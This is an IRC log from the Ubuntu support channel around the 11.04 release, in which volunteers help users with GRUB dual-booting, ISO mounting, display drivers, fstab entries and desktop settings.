[17:37] <KM0201> iceflatline: you obviously don't get satire... i'm using 11.04
[17:37] <codingenesis> can any one tell me how can i become an ubuntu developer???
[17:37] <KM0201> oops, iceroot see above
[17:37] <iceroot> codingenesis: https://wiki.ubuntu.com/SponsorshipProcess
[17:37] <KatronixSerf> (to make it bigger)
[17:37] <ayecee> codingenesis: what do you want to develop?
[17:37] <fi103910> ayecee - sorry, my linux skills = close to zero... what I mean is, is there something comparable to driver updates I should do ?
[17:38] <ayecee> fi103910: I don't understand what you want to accomplish.
[17:38] <iceroot> KM0201: and what is the problem about going to ubuntu.com and download it?
[17:38] <dennda> Omega: not anymore, but not too old
[17:38] <coz_> bluelf,   I found a beta2  version 10.0  ppa if you want to give it a try
[17:38] <ayecee> fi103910: if a PAE kernel doesn't work on your system, don't use a PAE kernel :)
[17:38] <coz_> bluelf,    http://www.techdrivein.com/2010/09/xbmc-100-dharma-beta-2-released-how-to.html
[17:38] <KM0201> iceroot: read what i said again, and really put your thinking cap on
[17:38] <Omega> dennda: Did you change anything recently?
[17:39] <omid-o> hi.sorry for my weak english. i have windows 7 and open suse 11.4 installed on a lenovo thinkpad.after installing ubuntu 11.4 i cannt use open suse.although i can see it in grub but during the boot up nothing happens.i didnt have this problem when using ubuntu 10.10.
[17:39] <fi103910> ayecee - alright, but since that is the default option - is there any way to change that ? Now I have to go through "older versions", and choose the non-pae kernel
[17:39] <ark0nza> is anyone successfully running Unity less zeitgeist?
[17:39] <iceroot> KM0201: i dont get what you want
[17:39] <sdwrage> Can anyone help me with my above issue>
[17:39] <ayecee> fi103910: should be enough to remove the pae kernel, then the non-pae one that you have will be the default.
[17:40] <ayecee> sdwrage: sorry, they've already scrolled off the screen.
[17:40] <sdwrage> How do I prepare Grub for a Windows 7 install?
[17:40] <sdwrage> I need to dual boot Windows 7 on my laptop that already has Ubuntu 11.04
[17:40] <fi103910> oh, ok - and really testing your patience now, but how do you do that...? :)
[17:40] <sdwrage> is there an easy way to setup boot to where I dont have to recover grub?
[17:40] <KM0201> iceroot: id on't want anything... you obviouskly didn't get it, and explaining it to you would just make you laugh at yourself.
[17:40] <sdwrage> ayecee, ^^
[17:40] <Kruptein> Hey does anyone know where to set your router mode to b/g instead of n  with dlink? :D
[17:40] <iceroot> KM0201: yeah just stop your strange conversation here
[17:40] <bluelf> coz_ I tried that dint work
[17:40] <KM0201> iceroot: i did.. you kept it up
[17:40] <coz_> bluelf,  oh ok
[17:40] <Pici> KM0201: This channel is for serious support requests, joking around with helpers and those that need help is not on-topic here.
[17:41] <Kruptein> some people suggest that natty has problems with the n setting
[17:41] <TomThumb> New install ubuntu 11.4, when using Software Centre it says "Check your internet connection", I am online..  How do i fix this?
[17:41] <KatronixSerf> can I unmount the / partition while in gnome make the partition bigger, and then mount it again?
[17:41] <ayecee> fi103910: sec, I think ubottu has an entry for removing extra kernels.
[17:41] <codingenesis> ayecee: i want to become an active member in ubuntu's development process...
[17:41] <coz_> sdwrage,   well you can ,, using a live cd reinstall grub after installing windows7.. although I dont know if any particular attention has to be made with windows7.. you may want to go to t he #grub channel and discuss it there,, unless someone here knows for sure
[17:41] <omid-o> sdwrage i think you better install windows 7 first.but anyway u can use Gparted and create an ntfs partition and install windows.after the installition of windows u can use the ubuntu live disk to repair the grub and multiboot ubuntu and windows
[17:42] <Pici> codingenesis: Heres a good start; https://wiki.ubuntu.com/UbuntuDevelopment
[17:42] <lapion> omid-o, when you installed ubuntu you got extra partitions on the drive, then the partition numbers change, so you need to modify the SUsE  fstab to use UUID instead of /dev/sd??
[17:42] <sdwrage> thanks
[17:42] <MarconM> how know how to delete temporary file on unity
[17:42] <coz_> bluelf,  then I am not sure,, have you googled  ubuntu 11.04  xbmc  ppa  to see if others are available and have been tested...yes?
[17:42] <ayecee> fi103910: I can't find it. It should be like removing any other package, remove it with apt-get remove or synaptic
[17:43] <lapion> how to stop an application on natty from restarting each time it gets killed
[17:43] <omid-o> lapion no. i created 2 seprate partitions one for " / " and one for "home" . i did the same during the installition of ubuntu 10.10 and 10.04 and didnt have that proplem.
[17:43] <ayecee> fi103910: the package name will start with linux-image. Make sure you don't remove the kernel that's actually running, though the package tools should warn you about that.
[17:44] <fi103910> ayecee - alright, thanks, that's a good tip - I'll try to investigate more !
[17:44] <lapion> omid-o, you said the suse installation did not boot anymore ?
[17:44] <coz_> lapion,   apparenlty save session  must be enabled ,,  let me see where that is in 11.04
[17:44] <ark0nza> codingenesis: Canonical has some home-based international job openings for software engineers... Think its for working on ubuntu
[17:44] <Kruptein> I'm just going to install the 2.6.39rc4
[17:45] <teegee543> hey, i upgraded to 11.04 and now evolution tasks aren't showing up in my calendar applet :( however, a subscribed calendar does show up in the applet
[17:45] <coz_> I cant find it
[17:46] <lapion> omid-o, win7 uses exact partition numbers, ubuntu is more flexible and uses UUID, however suse might still be using exact partitions instead of UUID.
[17:46] <lapion> coz_, does save session work during a session or only at login of a session ?
[17:46] <teegee543> the dates are bolded but clicking on the date doesn't show the list of events for that day
[17:47] <coz_> lapion,  well yeah if you save the session while in it,, that particular session should start up during log on even reboot I believe
[17:47] <lapion> coz_, I have not closed the session..
[17:48] <lapion> coz_, this is during a session
[17:48] <coz_> lapion,   oh!!
[17:48] <coz_> lapion,  then I am puzzled
[17:49] <omid-o> lapion do you think i need to reinstall suse? and besides that after installing suse it cant detect ubuntu  atomatically and i must set the grub manually which i always fail to do.
[17:49] <lapion> coz_, the mythtv closes because the backend is still an old version, however the os restarts is stating that mythtv crashed with errorlevel 251..
[17:49] <rafi> hello
[17:49] <lapion> omid-o, no you do not need to reinstall
[17:50] <coz_> lapion,  ah ok,, I have no experience with that at all
[17:50] <rafi> i have problem with fn-brightness key in ubuntu 11.04,it dosent work,help me please
[17:50] <lapion> omid-o, all you need to do is edit the /etc/fstab file of suse and change the partions to the correct ones
[17:50] <Guest27469> rafi try to makenewshortcut for that key
[17:50] <lapion> rafi, when you click on the button use the mouse wheel to change the brightness
[17:50] <rafi> how?help me please
[17:51] <rafi> you know!it's dosent work
[17:51] <lapion> rafi, click on the button and roll the mouse wheel you will see how the bar changes
[17:51] <rafi> when i look for error in log file
[17:51] <omid-o> lapion i dont have much gnu/linux experience. i'm not a programmer nor a geek and i only do my things in graphical imvironment.so how can i do so?
[17:51] <rafi> i se this message:can not determine display
[17:52] <lapion> rafi, are you using a laptop ?
[17:52] <rafi> i have same problem in ubuntu10.4, but when i install nvidia driver,it fixed
[17:52] <rafi> yes
[17:52] <Guest27469> rafi use pastebin and show me dmesg
[17:52] <lapion> omid-o, then know is the time to start trying to get things done.
[17:53] <rafi> w8 a minute plz
[17:53] <lapion> so rafi do you have nvidia driver installed ?
[17:53] <dennda> Any idea why my internet connection is SO slow under ubuntu on my macbook pro? Under OSX is fast, and for another computer it is also fast. Both wifi and wired connections are affected
[17:54] <rafi> the log is:May  2 21:23:32 rafi-HP-Pavilion-dv3500-Notebook-PC pkexec: pam_unix(polkit-1:session): session opened for user root by (uid=1000)
[17:54] <rafi> May  2 21:23:32 rafi-HP-Pavilion-dv3500-Notebook-PC pkexec: pam_ck_connector(polkit-1:session): cannot determine display-device
[17:54] <rafi> May  2 21:23:32 rafi-HP-Pavilion-dv3500-Notebook-PC pkexec[2359]: rafi: Executing command [USER=root] [TTY=unknown] [CWD=/home/rafi] [COMMAND=/usr/sbin/gnome-power-backlight-helper --set-brightness 8]
[17:54] <FloodBot1> rafi: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:54] <ActionParsnip> rafi: if you upgraded with the nvidia driver installed it may not work, so you'll need to pull it out, reboot to the open driver then reinstall it
[17:54] <RavenHursT> is it just me.. or would if have been faster to just freakin' kill my VM and install 11.04 clean?? ugh..
[17:54] <ActionParsnip> rafi: you may need to run: sudo nvidia-xconfig   to make an xorg.conf file
[17:54] <uwe__> hi
[17:54] <Halzen> RavenHursT: What's up?
[17:54] <Halzen> hi uwe__
[17:55] <lapion> ActionParsnip, upon upgrade to natty al third party software disabled so he is not using nvidia
[17:55] <superMariohardco> hi)  I have a problem installing a graphics tablet "Trust 5300". I have not found the forums decent  answers  ...  Could  you help me?
[17:55] <Halzen> rafi: sudo nvidia-xconfig solved my display issues.
[17:55] <ActionParsnip> lapion: sure but the nvidia driver is in the ubuntu repos
[17:55] <RavenHursT> Halzen.. This update process has taken like, 6 hours....
[17:55] <rafi> yes,it say VALIDATION ERROR
[17:55] <lapion> ActionParsnip, it is restricted ...
[17:55] <rafi> VALIDATION ERROR: Data incomplete in file /etc/X11/xorg.conf.
[17:55] <rafi>                   Device section "Default Device" must have a Driver line.
[17:56] <Halzen> RavenHursT: Are you doing a sudo apt-get upgrade with 10.04 in a virtual machine?
[17:56] <RavenHursT> Halzen: And now.. it's stuck w/ 2min remaining w/ the message "Setting up udisks (1.0.2-4ubuntu1)..."
[17:56] <Guest27469> rafi learn to use pastebin
[17:56] <ActionParsnip> lapion: I see, not seen that myself. The driver has always attempted dkms and been ok but the reboot always sucks so I have to pull it out then put it back in
[17:56] <Guest27469> ubuntu.pastebin.com
[17:56] <lapion> ok sorry ActionParsnip
[17:56] <RavenHursT> Halzen: I just did it throught he GUI when it asked if I Wanted to upgrade.. yes on the VM.. and 10.10 on the version..
[17:56] <Guest27469> or something else
[17:56] <rafi> sorry,but i am new in linux,plz tell me what is patebin
[17:57] <Pici> !paste | rafi
[17:57] <ubottu> rafi: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[17:57] <RavenHursT> rafi: pastebin.com
[17:57] <lapion> rafi, go to the page people are giving you and check it out..
[17:57] <coz_> ActionParsnip,  does this channel have a max "line" paste policy,, before going to pastebin,, 2  maybe 3 ?
[17:57] <Halzen> RavenHursT: Hmm...well, it's possible that the VM network emulator is doing something that apt-get doesn't like.
[17:57] <Guest44344> is anybody ubuntu 11.04 i need to clear recent open files
[17:57] <numbah1hax0r> is there any way to run daemon tools on ubuntu
[17:57] <numbah1hax0r> ?
[17:57] <RavenHursT> Halzen... thinking I'm just gonna nuke my VM and start a new one..
[17:57] <superMariohardco> hey anyone!
[17:57] <lapion> we are all new to something in here rafi that's why we try and try and investigate untill we have a clue
[17:57] <RavenHursT> ugh..
[17:58] <Halzen> RavenHursT: Before you do that, try restarting the machine and doing sudo apt-get upgrade again.
[17:58] <RavenHursT> Halzen.. alright.. I'll give it a shot..
[17:58] <rafi> tnkyou,so give me a min..
[17:58] <coz_> superMariohardco,  I am not familiar with that particular graphics tablet,,, is it wacom based?
[17:58] <Guest27469> numbah1hax0r, why??? linux has build-in "daemon tools"
[17:58] <numbah1hax0r> it does?
[17:58] <numbah1hax0r> o.o
[17:58] <xiambax> Canadians! GO VOTEEEEE!
[17:59] <Pici> !ot | xiambax
[17:59] <ubottu> xiambax: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[17:59] <Guest27469> numbah1hax0r,  well inux can natively use iso files etc
[17:59] <xiambax> Pici hates democracy
[17:59] <superMariohardco> yes coz_
[17:59] <numbah1hax0r> but i need to emulate them
[17:59] <LjL> !mountiso | numbah1hax0r
[17:59] <ubottu> numbah1hax0r: To mount an ISO disc image, type « sudo mount -o loop <ISO-filename> <mountpoint> » - There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion - Always verify the ISO using !MD5 before !burning.
[17:59] <numbah1hax0r> like mount one on top of the other
[17:59] <numbah1hax0r> :/
[17:59] <numbah1hax0r> what?
[17:59] <coz_> superMariohardco,   then it should be picked up automatically unless the manufacturer has somehow made it not be recognized as wacom
[18:00] <Guest27469> numbah1hax0r, yes you can do it
[18:00] <ilea> does anyone know how can i install pclinuxos in dual boot with windows?
[18:00] <numbah1hax0r> how do i emulate an iso on ubuntu?
[18:00] <LjL> ilea: this is the Ubuntu channel
[18:00] <rafi> ok,that is url:http://paste.ubuntu.com/602382/
[18:00] <ActionParsnip> xiambax: how is that related to democracy?
[18:00] <LjL> numbah1hax0r: you type sudo mount -o loop filename.iso /mnt/whatever
[18:00] <ilea> i asked on the pclinuxos and nobody answers
[18:00] <ItzDippieDoo> Could anyone help me with .tar.gz extentions?
[18:00] <Halzen> ilea: The installation process should include a partitioning option. Shrink your Windows partition to make room, then install in the free space with the PCLinux live CD.
[18:00] <ilea> and are only 22-25 there
[18:00] <LjL> ItzDippieDoo: type tar xf filename.tar.gz to extract it
[18:01] <Guest27469> numbah1hax0r, well you dont  have to "emulate" it. what you want to mount
[18:01] <ActionParsnip> ItzDippieDoo: ask away
[18:01] <xiambax> Its voting day in Canada
[18:01] <xiambax> Like actually government voting day
[18:01] <ilea> ok i will try
[18:01] <ActionParsnip> xiambax: that is offtopic here. This is ubuntu support ONLY
[18:01] <ilea> thanks
[18:01] <LjL> ilea: well we can't really help you with other distros here, sorry
[18:01] <ItzDippieDoo> ActionParsnip : Managed to extract it, now what? :)
[18:01] <rafi> i solve same problem in ubuntu 10.04 with installing nvidia driver,but in 11.04,ican't solve it
[18:01] <ActionParsnip> ItzDippieDoo: what filename was it?
[18:01] <ItzDippieDoo> ActionParsnip : .tar.gz
[18:01] <xiambax> ok well in the case i want to port me ubuntu to run on my tandy, with no lose of features.
[18:01] <xiambax> can you help?
[18:01] <ActionParsnip> ItzDippieDoo: no, the full name
[18:02] <superMariohardco> in the terminal  constantly  get an error about the version, although  I would point out its true   coz_
[18:02] <ilea> i got a little help from halzen and i managed to make room and now i install
[18:02] <ActionParsnip> xiambax: what cpu does it use?
[18:02] <ilea> :)
[18:02] <numbah1hax0r> /mnt/?
[18:02] <numbah1hax0r> Isn't their an easier way? :/
[18:02] <Halzen> ilea: Good to hear. :)
[18:02] <coz_> superMariohardco,  the version of the driver  or the tablet itself?
[18:02] <lucas> hi everyone! Using putty logged into my server via ssh. Can use x applications. How can I start a whole gnome session in a window?
[18:02] <LjL> numbah1hax0r: seems easy to me
[18:02] <xiambax> it runs on sunshine and rainbows
[18:02] <numbah1hax0r> lyl i'm a noon
[18:02] <LjL> !info gmountiso | numbah1hax0r
[18:02] <ubottu> numbah1hax0r: gmountiso (source: gmountiso): This is Gmountiso, a PyGTK GUI to mount your cd images. In component universe, is optional. Version 0.4-0ubuntu3 (natty), package size 16 kB, installed size 176 kB
[18:02] <numbah1hax0r> :X
[18:02] <Pudabudigada> Is there a way to roll back to 10.10?
[18:02] <ItzDippieDoo> ActionParsnip : Oh, didnt think that mattered. ' mupen64plus-bundle-bin-32-1.99.1.tar.gz '
[18:02] <ActionParsnip> lucas: I wouldn't bother, just run the apps you need
[18:03] <ilea> by the way pclinuxos with the enlighment desktop looks so cool
[18:03] <ilea> :)
[18:03] <Pudabudigada> Or are 11.04's issues likely to be fixed soon?
[18:03] <superMariohardco> of the driver coz_
[18:03] <numbah1hax0r> so ljl
[18:03] <ActionParsnip> ItzDippieDoo: ok just curious, what files do you have? Is it source?
[18:03] <LjL> ItzDippieDoo: it matters because a .tar.gz file is simply a compressed archive (like ZIP files). what you do with it entirely depends on what's in it
[18:03] <numbah1hax0r> sudo apt-get gmountiso
[18:03] <numbah1hax0r> ?
[18:03] <Halzen> Guys, don't deny support to people that use Ubuntu derivatives. Linux Mint and PCLinuxOS are just as compatible as Xubuntu, Lubuntu, Ubuntu Studio, etc.
[18:03] <coz_> superMariohardco,  mm.. hold on let me see if there is a linuxwacom channel
[18:03] <milen8204> UUID=71ec6a02-10f0-4ee7-85bd-dea3aa9fbb2d	/home	ext4	defoults	0	0
[18:03] <lucas> AcuinParsnip: Just seems cool to do remote administration using the entire GUI
[18:03] <LjL> Halzen: they also have their own support channels, and they're not official derivatives. we support official Ubuntu here
[18:03] <milen8204> what shuld write mor e ?
[18:03] <coz_> superMariohardco,  there is indeed  just type   /join  #linuxwacom
[18:03] <ilea> thats the word halzen
[18:03] <fx> So, SSH wont connect, yet is running
[18:03] <gsp2009> hey there folks. Unity and notifier. Do they play nice? Dropbox, printer, skype. None show up in top panel. Anyone seen this?
[18:04] <lucas> ActionParsnip: Just seems cool to do remote administration using the entire GUI
[18:04] <ilea> we should help each other no matter what distro we have
[18:04] <llutz> milen8204: "defaults"
[18:04] <ActionParsnip> lucas: its really inefficient
[18:04] <Halzen> Pudabudigada: Unfortunately, there is no way to revert other than a backup and clean install. Minor fixes in 11.04 will come regularly, but major changes will have to wait until 11.10 is released in October.
[18:04] <LjL> Halzen: we have no idea what they *may* contain or how they may actually work
[18:04] <coz_> superMariohardco,  I have never frequented that channel so I have no idea when or how many are online at any given time
[18:04] <LjL> ilea: yes, in ##linux, not here. here it's about Ubuntu
[18:04] <ActionParsnip> gsp2009: my dropbox does, try resetting panels to defaults, may help
[18:04] <milen8204> llutz, and then after ","
[18:05] <Halzen> LjL: The same can be said to someone (like me and many of the other users here) that uses Ubuntu with a custom kernel. Uncertainty to custom installs will always be.
[18:05] <numbah1hax0r> hey LjL
[18:05] <gsp2009> ActionParsnip, deleting .gnome, .gnome2 etc?
[18:05] <superMariohardco> thanks coz_
[18:05] <LjL> Halzen: as a matter of fact custom kernels aren't really supported.
[18:05] <ActionParsnip> lucas: install something like lxde and you can run LXDE over the ssh
[18:05] <ItzDippieDoo> ActionParsnip :  Nevermind, found out there was an executeable in it. Sorry for wasting your time :p
[18:05] <ActionParsnip> !panels | gsp2009
[18:05] <ubottu> gsp2009: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[18:05] <numbah1hax0r> How do I run I run gmountiso??
[18:05] <coz_> gsp2009,   there is a fix for the dropbox showing up hold on let me get link
[18:05] <Pudabudigada> Halzen, Thanks.
[18:05] <LjL> anyway it's the channel rules, no use arguing them really. if you really want to, #ubuntu-ops
[18:05] <gsp2009> ActionParsnip, nice. Thanks.
[18:05] <ssharm200> gsp2009: http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[18:05] <ActionParsnip> ItzDippieDoo: its fine, if you look at the data you have before asking you can fix yourself ;)
[18:05] <rafi> please,someone help me,i cant change my display brightness with fn key
[18:05] <LjL> numbah1hax0r: alt+f2 and type "gmountiso"
[18:05] <Halzen> LjL: This sort of crap is part of what's making me switch to Fedora when my SSD gets here. xD
[18:05] <coz_> gsp2009,     http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[18:06] <Guest27469> numbah1hax0r, mount -o loop disk1.iso /mnt/disk
[18:06] <gsp2009> coz_, ssharm200. cool. thanks.
[18:06] <milen8204> llutz, I have to add defaults,...(some user i didn't remember the name)
[18:06] <ActionParsnip> gsp2009: I recommend you learn cli confg, then you can script stuff and make life a lot easier rather than slow GUIs
[18:06] <ssharm200> coz_: we had the same link.. :) thanks
[18:06] <Guest27469> numbah1hax0r, you dont need to install anything mount command works too :)
[18:06] <coz_> ssharm200,  cool
[18:06] <ActionParsnip> gsp2009: also add the -C option to the connection, it will enable compression
[18:06] <sipior> Halzen: i imagine they'll tell you the same thing, in their support channels.
[18:06] <scoffin> is there some secret magic needed to get samba to share files? [11.04]  I can connect from a remote machine, but 11.04 does not offer the shares I have set up...  any ideas?
[18:06] <coz_> gsp2009,   there are a few tricks there worth trying out
[18:06] <Halzen> rafi: That's a driver issue. Start by typing sudo gedit /etc/default/grub into a terminal, then tell me once you have that open.
[18:06] <cafaroooo> How can I grow an mdadm raid1 array using a live-cd? I cannot use it from my system, because the raid has to be unmounted before I can resize it.. I'm not sure what steps to follow, before i can issue the "mdadm --grow" command on the live cd....
[18:06] <numbah1hax0r> Guest27469, but I don't understand the command.
[18:06] <ActionParsnip> scoffin: is samba installed?
[18:06] <numbah1hax0r> What goes in /mnt/?
[18:07] <ItzDippieDoo> ActionParsnip : My bad, overlooked it ;)
[18:07] <Morten_> Hi, can anyone recommened a newsgroup reader?
[18:07] <travisjandreau> How come if I run a graphical application that uses sound, it works, but as soon as i run a console application in the terminal or in the console, there is no sound, I checked alsamixer and the volume is raised so no problem there.
[18:07] <milen8204> ActionParsnip,  UUID=71ec6a02-10f0-4ee7-85bd-dea3aa9fbb2d /home ext4 defaults,(what have to type here ) 0 0
[18:07] <llutz> Morten_: nn, slrn
[18:07] <Guest27469> numbah1hax0r, what there you dont understand? read "man mount"
[18:07] <ssharm200> I'm trying to have my AutoKey icon display in the topbar, can anyone please help?
[18:07] <rafi> yes it is opend
[18:07] <sipior> Morten_: pan was quite nice, but i haven't used it in quite a while...
[18:07] <LjL> Morten_: bot says "The BESTEST newsreader is pan, because 2 people (67%) said so! Follow in order, thunderbird (1 votes, 33%), nn, trn, knews, slrn, tin, knode, cone, newsx" #ubuntu-bots
[18:08] <scoffin> actionparsnip: yes, samba installed, and machine will allow another machine to connect, but just gives a blank screen where I expect a bunch of shares
[18:08] <ActionParsnip> milen8204: UUID=43beb8fe-c819-4ec4-9909-c0cc658d7a9b /home           ext4    defaults,user_xattr        0       2
[18:08] <ActionParsnip> milen8204: that's mine
[18:08] <Halzen> rafi: Good. Now change the line GRUB_CMDLINE_LINUX="" into GRUB_CMDLINE_LINUX="acpi_osi=Linux"
[18:08] <Morten_> hehe, thanks llutz, sipior and LjL :)
[18:08] <numbah1hax0r> Guest27469, Where do i find the article?
[18:08] <spotter> it appears 11.04 broke preferred applications for web/email
[18:08] <noes1s> What is the file/script used every time that i connect to a network?
[18:08] <spotter> can no longer specify a custom program
[18:08] <Halzen> Once that's done, type sudo update-grub into the terminal. A reboot may be necessary.
[18:08] <Lxndr> Dear Ubuntu: How can I make the launcher work like older editions? I'm frustrated that I need to alt-tab to get to my various windows, and would like to actually see tabs for my various windows on the bottom, as I used to do. Is there a setting that allows this, or am I stuck alt-tabbing forever?
[18:08] <omid-o> lapion how can i  edit the /etc/fstab file of suse and change the partions to the correct ones
[18:08] <jibadeeha> just noticed some new updates come through for unity and scrollbar
[18:08] <LjL> Lxndr: you can use the old, "classic", login
[18:09] <spotter> Lxndr, login from gdm with "classic"
[18:09] <Lxndr> LjL: Sounds good. How do I get to that? Will I need to log out and back in?
[18:09] <rafi> ok,i did
[18:09] <researcher123> hello
[18:09] <numbah1hax0r> LjL, I have no idea how to use this command.
[18:09] <LjL> Lxndr: yes
[18:09] <milen8204> ActionParsnip, thanks alot :D
[18:09] <numbah1hax0r> Is there an article?
[18:09] <LjL> !classic > Lxndr    (Lxndr, see the private message from ubottu)
[18:09] <rafi> and now what should i do my friend?
[18:09] <LjL> numbah1hax0r: use gmountiso then
[18:09] <researcher123> is anybody here using 11.04
[18:09] <numbah1hax0r> how?
[18:09] <LjL> numbah1hax0r: *sigh* i told you how. hit alt+f2 and then type "gmountiso"
[18:09] <Guest27469> numbah1hax0r, write in terminal man mount
[18:10] <guy45> is there anyway i can find out the type of encryption i used when i installed ubuntu?
[18:10] <guy45> Device /dev/sda1 is not a valid LUKS device.
[18:10] <Halzen> rafi: Once that's done, type sudo update-grub into the terminal. A reboot may be necessary.
[18:10] <numbah1hax0r> Could not open location 'file:///home/alex/gmountiso'
[18:10] <LjL> numbah1hax0r: it's probably also in the Applications menu somewhere
[18:10] <numbah1hax0r> Error stating file '/home/alex/gmountiso': No such file or directory
[18:10] <numbah1hax0r> sorry
[18:10] <LjL> numbah1hax0r: let me see
[18:11] <LjL> numbah1hax0r: wait, i think we forgot the step where you'd install it :P
[18:11] <rafi> it is done,should i reboot my laptop?
[18:11] <numbah1hax0r> lol :P
[18:11] <LjL> numbah1hax0r: open a terminal, and type "sudo apt-get install gmountiso" (or alternatively, get it from Synaptic if you prefer the GUI)
[18:11] <MrADz> Best backup software?
[18:11] <Halzen> rafi: Try adjusting your brightness. If it isn't working now, then yes, reboot.
[18:11] <LjL> numbah1hax0r: but it's easy to do it from the terminal really, just type the above verbatim
[18:12] <dp> is there a way to tell apt, when I'm doing 'apt-get --reinstall install <package>' to reinstall all Deps as well?
[18:12] <numbah1hax0r> .LjL
[18:12] <LjL> dp: no
[18:12] <rafi> may i add you as a friend?
[18:12] <MrADz> Best backup software?
[18:12] <mastaofdisasta> hey guys, I just got a new laptop and installed ubuntu on it.  But I want to migrate the my user data from my old ubuntu machine to the new laptop.  Is it safe to just copy the user home directory exactly to the new laptop
[18:12] <numbah1hax0r> I prefer an inferface.
[18:12] <dp> LjL: ok. thanks
[18:12] <Pudabudigada> I want to try reinstalling ALSA, Pulse etc, but my synaptic doesn't work, any clues?
[18:12] <numbah1hax0r> Is there a version with interface?
[18:12] <numbah1hax0r> :X
[18:12] <LjL> numbah1hax0r: then get it from Synaptic, but i can't help you there.
[18:12] <ActionParsnip> MrADz: there is no single best software for anything
[18:12] <rafi> halzen:may i add you as friend?
[18:12] <LjL> numbah1hax0r: i don't use Synaptic, i don't even use GNOME
[18:12] <numbah1hax0r> Synapatic?
[18:12] <coz_> dp,   not sure about that unless you did  sudo apt-get autoremove --purge,, that should remove dependecies that are NOT used by other applications
[18:12] <ActionParsnip> !backup  MrADz
[18:12] <Guest27469> numbah1hax0r,  you should read more man pages "man command"
[18:12] <ActionParsnip> !backup | MrADz
[18:12] <ubottu> MrADz: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[18:13] <numbah1hax0r> What is Synaptic, LjL?
[18:13] <LjL> !synaptic | numbah1hax0r
[18:13] <ubottu> numbah1hax0r: synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto
[18:13] <ActionParsnip> MrADz: it's as intelligent asking "What is the best colour?"
[18:13] <ssharm200> I'm trying to have my AutoKey icon display in the topbar in 11.04, can anyone please help?
[18:13] <MrADz> I see
[18:13] <Guest27469> numbah1hax0r,  you should read more man pages "man command"
[18:13] <RavenHursT> Halzen: Nope.. no dice.. wouldn't even boot.. Nuking VM.. Downloading the install image..
[18:13] <Pudabudigada> I want to try reinstalling ALSA, Pulse etc, but my synaptic doesn't work, It gets errors with any operation.
[18:13] <gsp2009> coz_, ssharm200, ActionParsnip: sweet, I am all fixed up. Thanks again, you made my day alot easier.
[18:13] <wyx> i've some troubles with ldap an postfix. my postconf -n looks like http://paste.ubuntuusers.de/400159/ and my ldap-aliases file http://paste.ubuntuusers.de/400160/ ... when i run postmap -q tux1@tuxdomain.local ldap://etc/postfix/ldap-aliases.cf i get the uid but postfix doesn't know the recipient when i try to send a mail to tux1@ŧuxdomain.local
[18:13] <MrADz> ActionParsnip, Let me put it a different way. What would you use?
[18:13] <BinaryMan> 4/part
[18:14] <osse_> Can anyone help me make Ctrl+Shift act as the AltGr button?
[18:14] <mastaofdisasta> hey guys, I just got a new laptop and installed ubuntu on it.  But I want to migrate the my user data from my old ubuntu machine to the new laptop.  Is it safe to just copy the user home directory exactly to the new laptop
[18:14] <coz_> gsp2009,   very cool :)
[18:14] <ActionParsnip> MrADz: each solution has strengths in differnt areas, read up on a few and see which suits your needs
[18:14] <numbah1hax0r> LjL, can I use the Ubuntu software center to get the version with interface?
[18:14] <milen8204> ActionParsnip, how I can see type of the mounting volume ?
[18:14] <Halzen> RavenHurst: Well, that sucks. Be sure to make a small partition for it if you're doing a hard disc install.
[18:14] <mastaofdisasta> I have the NFS mount ready but I don't know if it's copy to copy everything exactly
[18:14] <ActionParsnip> MrADz: i use a cron'd cp job, dirty and simple
[18:14] <alfaLT> hi all, maybe somebody can help me with setting eth card speed? somehow it does not communicate with ftth switch by default
[18:14] <econdudeawesome> If I boot into a command line, and I have my default desktop set up so that if I use "startx" to begin the GUI, how would I instead boot into something like LXDE?
[18:14] <LjL> numbah1hax0r: probably, but i'm not sure the software center has everything. try.
[18:14] <ActionParsnip> milen8204: sudo parted -l
[18:14] <uwex> test
[18:14] <ssharm200> gsp2009: np..glad to be of help!!
[18:14] <econdudeawesome> If I boot into a command line, and I have my default desktop set up as Gnome so that if I use "startx" to begin the GUI, it begins GNOME, how would I instead boot into something like LXDE?
[18:15] <numbah1hax0r> thanks LjL :)
[18:15] <econdudeawesome> That was the question I meant to ask :-D
[18:15] <RavenHursT> Halzen: Why a "small" partition?
[18:15] <coz_> econdudeawesome,  did you install lxde?
[18:15] <ActionParsnip> econdudeawesome: no, just log off, then cick your username. At the bottom of the screen change it to lxde, then log in
[18:15] <robin0800> uwex fail
[18:15] <jrib> econdudeawesome: create ~/.xinitrc with what you wish to run.  Why aren't you using gdm though?
[18:15] <Josesordo> I have a ATI Radeon HD 2600 dedicated.. in ubuntu or xubuntu is better install the driver with the "Install driver tool" or download the .run file from ATI ?
[18:15] <bahamas> hello. im using ubuntu 9.10 and, for some reason, i cant switch between languages. it worked at one point, but i cant do it anymore with the shortcut that i setup. also, the language has disappeared from my panel, and i i dont know how to bring it back. any advice?
[18:16] <deeztek> hello all, having an issue with ubuntu 11.04. I just installed it on a dell inspiron 1520 which previously had ubuntu 10.10 and worked fine. Unfortunately, with 11.04 I cannot get the wifi to work. I have ensured that the propritary drivers are loaded and active but still no wifi
[18:16] <econdudeawesome> ActionParsnip: I don't have a login option--only running tty shell
[18:16] <jrib> !9.10 | bahamas
[18:16] <ubottu> bahamas: Ubuntu 9.10 (Karmic Koala) was the eleventh release of Ubuntu. !End-Of-Life on April 29th 2011, see http://goo.gl/UUTAB for details.
[18:16] <Halzen> RavenHursT: Well, I doubt you wanna clear your existing install just to try another OS out. Until you're sure it's what you want to use primarily, give Ubuntu about 20GB to play with.
[18:16] <econdudeawesome> jrib: I set it up to boot into a tty shell instead (very old computer)
[18:16] <TomThumb> New install ubuntu 11.4, when using Software Centre it says "Check your internet connection", I am online..  How do i fix this?
